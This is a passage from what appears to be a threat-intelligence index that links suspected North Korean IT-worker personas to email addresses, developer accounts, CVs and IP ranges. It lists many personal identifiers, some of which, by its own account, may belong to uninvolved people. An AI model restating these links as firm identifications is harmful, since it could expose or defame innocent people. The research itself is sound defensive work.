requests, and on 5 July 2024 it merged two commits signed by the Larry Levine persona, larrylevine312@gmail.com: the two personas working in one repository.","Found on 17 September 2026 by asking Keybase whether an account exists under keizir, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 9 September 2019 and no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in the Netherlands; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The address is transcribed as the record prints it, with the doubled l, which is not Microsoft's domain. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","A thirteen-part thread that links five identities by commit-email forensics: the GitHub account icetrust0212 and a deleted account trust0212 both authoring under one address, and a deleted trust0212-fantohm and a still-active resplegend both authoring under a second. The thread states that resplegend's commits are literally authored under the name trust0212-fantohm, which is the corroboration it rests the grouping on. The Milan Zubic name is the one the identity used on job applications. This persona is already recorded on this site from tayvano's research and from lazarus.group under the same name; the entries merge on the name and the address they share. The organisations named in the thread, including the project whose credential-verification code the thread says this developer wrote, are the parties affected by the work rather than indicators, and are not recorded as such. The thread was also republished on lazarus.day and captured on archive.today; the X post is cited here as the original. The address zaza.liveedu@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author. The address milanzubic1120@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. The same account the researcher's Verida thread documents under this name, placed in this cell by the primary account's following list and named in the address map with its earlier trust0212 handle; post twelve is where the cell touches the wider network, through the accounts this one follows.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under trust0212, a login the index already carries for this persona on another platform. It gives a joined date of Oct 8, 2021. It displays \"Trust-Full stack\", a display name rather than a person's name. The profile links a GitHub account, icetrust0212. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting trust0212, one of the logins the index already holds for this operator, to Maigret's username search and then asking Trello's public member endpoint, which answers 404 for a name that does not exist. The member record states the display name trust and no bio; a display name that restates the handle stays in the note. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/icetrust0212, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: sergeyfedorenkodev@outlook.com authored 271 commits across 35 of its repositories, commits as \"trust0212\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio links a LinkedIn profile beside the resplegend GitHub account and the milanzubic1120 address this site already holds.","The researcher describes interviewing this identity as an applicant for a remote engineering role and assessing them as a North Korean IT worker. The account is presented under the name Ming Cheng. The thread notes a three-year gap in the resume covering 2018 to 2021, which the applicant explained as COVID-19 treatment beginning in 2019, months before the virus was known in China, and says the interview was cut short by a connection problem shortly after the applicant was asked whether he was North Korean. The third post of that thread publishes the whole application under the heading \"all the fake details he applied with for anyone tracking\", and is where the address, telephone number, GitHub, Telegram, IP address and website here come from. It was missed on the first pass: X renders a post that long behind a Show more control, and the syndication endpoint the reader uses returns it truncated and says so. It has to be read in a browser. That post also attributes the GitHub account to the Contagious Trader campaign, weaponised cryptocurrency trading bots, citing kmsec's write-up, which is already a source here; this entry carries that label alongside IT Worker Fraud because the researcher makes both claims. This is a second, independent researcher reaching the same conclusion about an identity the lazarus.group registry already records, so the account carries both citations. Two days after the thread that named this operator, the researcher reported that it had rotated to a new persona, 0xcrypoops, and gave the replacement X, GitHub and Telegram accounts. The three are recorded here rather than as a separate persona because the source states outright that they are the same operator continuing. Note that the Telegram handle for the replacement is not a copy of the other two: it begins with the letter o where the X and GitHub handles begin with a zero, and it is transcribed as the post links it.","Found on 12 September 2026 by probing the platforms an operator usually reuses a login on, for the handles this site already holds, and read directly from the page cited. A GitLab account under hodlwarden, one of the logins attributed to this operator, created on 9 April 2026 — months after the reporting that named the handle, which makes it the only account here the operator is known to have opened since being written about. It displays \"Hodl Warden\", which is the handle spaced out rather than a name, and carries no bio, location or links.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 63 commits signed hodlwarden@gmail.com, an address the lazarus.group registry publishes for this persona, to github.com/crypdev007, account id 37245718, created on 10 March 2018, display name crypdev007, with 74 public repositories.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under polartar, a login the index already carries for this persona on another platform. The profile gives a member-since date of 5 December 2024. It displays the name Morris Freeman, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","The report gives these EVM, Solana and Bitcoin addresses as Motoki Masuo's payment addresses.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed noahsflood908@gmail.com, an address the lazarus.group registry publishes for this persona, to github.com/knownothing10, account id 146400751, created on 29 September 2023, display name Know Nothing, with 56 public repositories.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under talentdev2020, a login the index already carries for this persona on another platform. The profile gives a member-since date of 19 May 2021. It displays \"talentdev2020\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under polartar, a login the index already carries for this persona on another platform. It gives a joined date of Apr 30, 2020. It displays \"polartar\", a display name rather than a person's name. The profile links a GitHub account, polartar. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under talentdev2020, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 25 October 2022. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address ghuffran.dev@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","The post gives the two GitHub accounts together as \"tortuc/commithero111\" and names the operator under both a Ukrainian-presenting first identity and a second one. It also links profiles on two European freelancing and business networks.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 26 commits signed ccristian88@outlook.com, an address the lazarus.group registry publishes for this persona, to github.com/Donehello, account id 57111814, created on 28 October 2019, display name Done, with 36 public repositories.","Nisos's report of 19 March 2025, \"Likely DPRK Network Backstops on GitHub, Targets Companies Globally\", published on its site and as a LinkedIn article whose full text is a PDF, tracks personas posing as Vietnamese, Japanese and Singaporean developers that reuse matured GitHub accounts and portfolio content from older personas, and whose addresses recur with the number 116 and the word dev. The values here are from the report's contact table and its footnotes. The companies the personas list as employers are not carried as indicators. The report ties this persona to the GitHub account superbluestar and to the alexander116 addresses and a Japanese phone number, and assesses that the Karl Chong persona's portfolio is being backstopped with Naoyuki Tanaka's work.","Four posts across December 2025 and April 2026 following one member of the team behind HyperbuildX as the persona changes: the first two record the Nelo Labhart persona giving way to d0sc4u, with a web3.career profile under meta0xflip still pointing at a portfolio that had carried Nelo Labhart and 0xopsdev branding; the third names d0sc4u among the North Koreans behind MutantRolls; the fourth gives tok3ner, Nelo Labhart and d0sc4u as one person behind HyperbuildX, spinx_game and MutantRolls, with the GitHub account. The 0xopsdev and HyperbuildX accounts already reach this site from tayvano's research and from ketman.org. Two posts of 16 April 2026 add a fresh set of names. The first quotes a post by the X account 0xnsfwfa, since deleted, that the researcher reads as the same operator back under a new name, and lists d0sc4u, Meta0xFlip, Nelo Labhart and ZireaelGit together; the account's surviving posts promote a Raydium token sniper hosted at github.com/meta0xflip. The second reproduces a commit by the GitHub account 0xnewegg to its discord-betting-lottery-bot repository, authored as 0xNewEgg <nelo.labhart@gmail.com>, that changes the README's Telegram contact from doscau (t.me/d0sc4u) to NewEgg (t.me/newegger). Meta0xFlip and ZireaelGit are listed without a platform and are not recorded here.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address nickkelly.dev@outlook.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address nicksiddiqui87@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","The site address is transcribed by hand from the attached screenshot, a personal portfolio page headed Nikos Amofa, Senior Software Developer, with the host visible in the browser chrome. The post says the operator can be found on other sites as well but does not name them.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio's contact block gives a phone number beside the nikosbrightamofa address this site already holds, and its footer links a LinkedIn profile and a GitHub account, the latter since removed from GitHub.","Transcribed by hand from the screenshot published in the cited post, read at full resolution rather than from a thumbnail. The screenshot shows the display name Oleksii Taranenko over the GitHub handle Oleksii9999, a bio reading \"I thrive on building interactive bots that enhance user experiences and streamline processes.\", a stated location of Dnipro, Ukraine, 3 followers against 2 following, and a linked website of kaize3.com. The second cited post names this account and identifies kstar0102 as one of its followers.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/Oleksii9999, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: glorychina6@outlook.com authored 677 commits across 13 of its repositories, commits as \"Oleksii9999\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in the United Kingdom; the address above is that mailbox. The register shows an error against its LinkedIn profile. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","The second identity the post names, described as an IT worker connecting from the same Russian address as the James McClung identity. That shared address is the whole of what links them and is the only value the post gives for this name.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- rusuland9 -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 8 July 2025 and no display name but the handle itself. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 2 commits signed rusuland9@gmail.com, an address browsercookies publishes for this persona, to the login rusuland9, which no longer resolves.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 30 commits signed ecomdevstar@gmail.com, an address browsercookies publishes for this persona, to the login ecomdevstar, which no longer resolves.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/fourfor4 is account id 92280175, created on 11 October 2021, display name FourFor4. Its commits carry 92280175+feloniousgru-super@users.noreply.github.com, so it is the account lazarus.group and tayvano list as github.com/feloniousgru-super, renamed; that handle now returns not found. It signs 56 of the 100 commits GitHub's search returns for it with paulmartin.pm1125@gmail.com, an address the registry gives for Paul Martin, and one with despicableme.feloniousgru@gmail.com, the former handle as a mailbox.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. The GitLab account under the login hunter0409 states its display name as Pete Yama — the name the reporting already gives this operator — and a member-since date of 19 May 2022, with no bio and no links. The DEV Community account under the login bestsilvertiger joined on 6 March 2024, publishes a link to github.com/BestSilverTiger, which is the GitHub account already attributed here, and gives as its entire biography the string \"404 bio not found\".","Found on 18 September 2026 by putting bestsilvertiger, one of the GitHub logins the index already holds for this operator, to Maigret's username search and then asking Freelancer's public user endpoint, which answers with the account record and, for a name that does not exist, with nothing. Freelancer returns the account with the display name Closed User and a registration date of 4 August 2020: an account existed under the handle and has since been closed, which is recorded here because a closed account is still a registration, and the date is the one fact it states. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting neverm25, the GitHub login the index already holds for this operator, to Maigret's username search and reading the Telegram page it reported, cited here. The page states the display name nevermind0825, of which the handle is a contraction, and no bio. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","A second cell in the 24 July 2025 table image carries this same Korean name over an entirely separate set of accounts -- Pinewood, pinewoodaldridge@gmail.com, github.com/Pindra2920 and wrightleo628@gmail.com -- sharing no value with the Yuto Matsumori cluster above. They are recorded together because the researcher's table files them under one name, and the reader should know that the join between the two clusters is that name and nothing else.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry gives for a persona, and keeping the accounts whose own repositories are committed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/markedBit is account id 8722069, created on 10 September 2014. Its commits carry 8722069+rustumatizon@users.noreply.github.com and 8722069+0xkonka@users.noreply.github.com, so it is the account lazarus.group lists for Quinn Lee as github.com/rustumatizon, and tayvano lists under the same handle, renamed twice; rustumatizon now returns not found. GitHub attributes 2,316 commits to it. Its repositories, uploaded in August 2024 and March 2025, are projects it worked on with other developers at the time, and in them it commits beside three registry personas: letteldream@gmail.com, which the registry gives for Quinn Lee, in CDP-interface (26 commits, February 2024), Brewlabs-UI and Gravita-upgrade; cloudrider.m92@gmail.com and the account firstninja111, which the registry gives for Jordan Lopez, in CDP-interface and CDP-backend; and smart.solidity@gmail.com, which it gives for Kang Tae Bok (listed at lazarus.group/team/joshua-palmer), in oasis-backend, where 35 commits between August 2023 and February 2024 carry that address.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed letteldream@gmail.com, an address the lazarus.group registry publishes for this persona, to the login letteldream, which no longer resolves.","One of three personas Nisos reports were created in 2024 alongside Karl Chong and share its contact information. The report's network map ties this persona to the GitHub accounts code-0605 and imcode65 through commits rather than through a direct connection, which is the weaker of the two ties the map draws; the text gives no further detail on this persona.","A given name and three photographs of the same man, published during an April 2025 exchange in which several researchers posted faces they had met in interviews. A first name on its own settles nothing, and nobody should treat it as more than it is; it is recorded because an operator who introduced himself as Rami on one call will do it again on the next, and the reader who has just been handed that name is who this index is for.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under secretariatv, a login the index already carries for this persona on another platform. The profile gives a member-since date of 7 June 2023. It displays \"SecretariatV\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under secretariatv, a login the index already carries for this persona on another platform. It gives a joined date of Jun 7, 2024. It displays \"SecretariatV\", a display name rather than a person's name. The profile links a GitHub account, SecretariatV. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under secretariatv, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 17 April 2024. Its full-name field holds an email address rather than a name, henry.campbell.1225@gmail.com, which appears nowhere else in this index. It is recorded here as what the account states about itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/svendotdev is account id 128123195, created on 17 March 2023, with 101 public repositories. Its noreply addresses name the handles secretariatv and tera-star, so it is the account KawaiiJongUwUn names as github.com/secretariatv under rarosem, renamed; secretariatv now returns not found. Its repositories hold 100 commits signed oliver.boucher.25@gmail.com, 67 signed oliver.b25.f@gmail.com and 3 signed henry.campbell.1225@gmail.com, all addresses the same researcher gives for rarosem. Seven of its own commits are signed mikestar.db327@gmail.com.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 35 commits signed henry.campbell.1225@gmail.com, an address KawaiiJongUwUn publishes for this persona, to github.com/HCCEE, account id 199467240, created on 16 February 2025, with 6 public repositories.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (secretariatv) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Rascal is not a public persona but the display name of one account on luckyguys.site, the internal North Korean remittance platform whose data the researcher obtained; the entry exists because that display name and the address below are facts about an account rather than a claim about a person. The thread shows the account's private messages with the server administrator PC-1234, running from December 2025 to April 2026 and covering payment transfers and the use of fraudulent identities, and in one of them the account writes \"This is Mexc account details\" and gives this address. What it sends in the same line -- the credential and the recovery string for that exchange account -- is deliberately not recorded here or anywhere else in this repository. Another screenshot in the thread shows the account submitting a photograph of an Irish passport cover to the administrator to pass an identity check; no name on it is legible.","Confirmed by Chollima Hunter research and rated medium confidence; corroborated by Table 1: Russian IP ranges used in suspected North Korea-related campaigns, including 80.237.87.0/24, Trend Micro; TTK addresses associated with North Korean IT workers, including 80.237.87.21, ReliaQuest. From Chollima Hunter research, read on 3 October 2026. The applicant presenting as Renz Patdu, at renzpatdu0601@gmail.com, was recorded active from 80.237.87.36. That address is in 80.237.87.0/24, registered in RIPE as SKYFREIGHT-NET under TransTeleCom (AS20485) with the description \"SKYFREIGHT, Hasan, Russia\" and a Khabarovsk contact. Trend Micro lists that exact range, created in December 2024 and located at Khasan on the Russia-North Korea border, among the Russian ranges used in suspected North Korea-related campaigns, and ReliaQuest lists 80.237.87.21, in the same /24, among the TransTeleCom addresses used by North Korean IT workers. LinkedIn's people search returns two accounts under the name. renz-patdu-9992423b0 joined LinkedIn in February 2026 and presents a Senior Software Engineer at Atlassian in San Fernando, the Philippines, educated at Fudan University in Shanghai, with 54 connections and no verifications. renz-patdu-6a12373ba joined in March 2026 and presents a Senior Data Scientist at Antiland in Pasig, with no connections or posts. Which account the applicant used is not recorded.","The operator whose archive is the basis of Hayden McKenzie's second report goes by \"spring day\" and the initials RJM, manages a team of three, and is associated with teams named Color Team and Team Dev Money.","The post carries only the name; every value here is printed inside the screenshot it attaches, laid over the LinkedIn cover photograph as a telephone number, an address and a profile handle beside the words Robert Macon. The profile gives the headline \"Full Stack Engineer || Web3 || Database Engineer\", the United States as its location, Texas State University as its education and 157 connections, and wears the #OPENTOWORK frame. The researcher calls it a self-branded profile. The banner is the same device recorded on the LinkedIn candidates queue in September 2026: a contact address published as pixels, which no search engine can index and which only opening the profile recovers.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address rodolfovaldez.tech@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation. The listing carries no name of its own: the CV opens on its contact line, and the seller account is the handle rodolfovaldez.tech. Rodolfo Valdez is this site reading that handle and the address it matches, not a name the page states, and the handle is kept as an alias so the page is still reachable by it.","One of three personas Nisos reports were created in 2024 alongside Karl Chong and share its contact information. The report's text says this persona reused Karl Chong's about-me paragraph and stock photograph; its network map draws a direct line from the persona to the GitHub account kanbei0605 and a commit-derived line to imcode65. Both accounts are carried here as Nisos's attribution, and a line found on commits is a weaker tie than a direct one.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (imcode65) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Found on 17 September 2026 by asking Docker Hub whether an account exists under tortuc, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 30 October 2021. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- koalah86 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of MERN_DEV_PRO. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed tortuc611@gmail.com, an address Narcass3 publishes for this persona, to the login tortuch, which no longer resolves.","Read on 18 September 2026. The cluster opened inside another entry: JCRhyle/portfolio, a repository on one of the two GitHub accounts this site holds for Jemelito Constantino, carries four commits, two authored JCRhyle <jemelitoconstantino@gmail.com> and two authored ruijindev0801 <ruijin.developer@outlook.com>. That login and that address belong to neither account named in the Jemelito entry, and a commit address inside a repository is a value rather than a shared name or a shared handle, which is why this entry stands beside that one rather than inside it.\n\nThe GitHub account ruijindev0801 was created on 5 November 2024, displays the name Rui Jin, gives its location as REMOTE, states ruijin.developer@gmail.com as its public address and ruijin-ai-dev0801.vercel.app as its site, and on the day it was read had 150 followers against 151 followed. A second account, devstar9981, created on 6 April 2026, displays the same name, states ruijin.dev0801@gmail.com and links the same portfolio; two of its six repositories are named Linkedin_Scraper and Github_Scraper_2026. The order in which the two were filled is worth recording. devstar9981 took its repositories between 9 and 21 April 2026, beginning with Linkedin_Scraper four days after the account existed; ruijindev0801, which had carried nothing for the seventeen months since it was registered, then took all eight of its repositories on 24 and 25 April 2026, seven of them original and one a fork, among them Job_Seeker, Agent_Claude and a second copy of Github_Scraper_2026. Commit metadata across the two accounts is signed under six addresses and three committer names, ruijindev0801, Rui Jin and Rui0801, and the two addresses carrying the great majority of the commits, expertbot0801@gmail.com and luckyjerry861@gmail.com, bear no relation to the name the accounts display.\n\nThe portfolio is what joins the accounts to the LinkedIn profile, and it does so by link rather than by name: it prints github.com/ruijindev0801, github.com/Rui0801, linkedin.com/in/rui-jin-319400434 and the X account ruijin9981, and offers two contact addresses, ruijin.ai.dev@outlook.com and ruijin.developer@gmail.com. The Rui0801 login it links returns GitHub's does-not-exist page, although commits under that committer name remain in both accounts' histories. The same page prints five certificates, each with a credential identifier, AWSD-9K4M-2P7X against Amazon and META-FE-8T2R-5LQ1 against Meta among them, whose View Credential links resolve to the certificate programme's own marketing page rather than to any verification record, and it still carries an unedited template placeholder, a link to yourwebsite.com.\n\nThe identity publishes two employment histories that cover the same years and name no employer in common. The portfolio gives Hong Kong and the United States: an internship at an unnamed technology startup from June 2018 to August 2019, volunteer web development for an unnamed non-profit from September 2019 to May 2020, freelance development through Upwork from June 2020 to December 2022, and prompt engineering at Outlier.ai from July 2022 to January 2026. The LinkedIn account gives Moscow, Russia: Freelancer.com from 2020 to 2022, DataAnnotation from July 2022 to January 2024, Bittensor from February 2024 to April 2026, and a Snorkel AI contract from May 2026. The two agree on nothing but a Bachelor of Computer Science at City University of Hong Kong from 2016 to 2020. The account carries no verification, and LinkedIn dates it to September 2026, the month it was read and six years after the earliest work either history claims.\n\nNothing here establishes who holds these accounts. The entry records what they state, and what links them is in each case a value one of them publishes, a commit address or a portfolio link, rather than the name they share.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio's site configuration, beside the ruijindev0801 GitHub account and the LinkedIn profile this site already holds, names an X account and hosts a project in a second GitHub account, Rui0801, since removed.","Transcribed by hand from the link-analysis diagram attached to the post, read at full resolution in sections. The diagram is rooted at the GitHub account zeus-dev919, which is recorded here under ZEUS, and hangs this persona off an address associated with a repository under it. The researcher marks the LinkedIn profile as already down at the time of writing, and notes that the persona's photographs are taken from a named South Korean actor, who is recorded in the held-back list rather than here. The diagram also connects the persona's addresses onward to a named, publicly identifiable developer in Lagos. Nothing from that branch is published here, for the reason given in the held-back list. Note the spellings differ across the accounts and are transcribed as shown: hotcappuccinodev on GitHub, HotCappuchino on Telegram, hotcappuchino99 in the address.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- hotcappuchino99 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Hot Cappuchino. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed johnpatch0502@outlook.com, an address the lazarus.group registry publishes for this persona, to the login 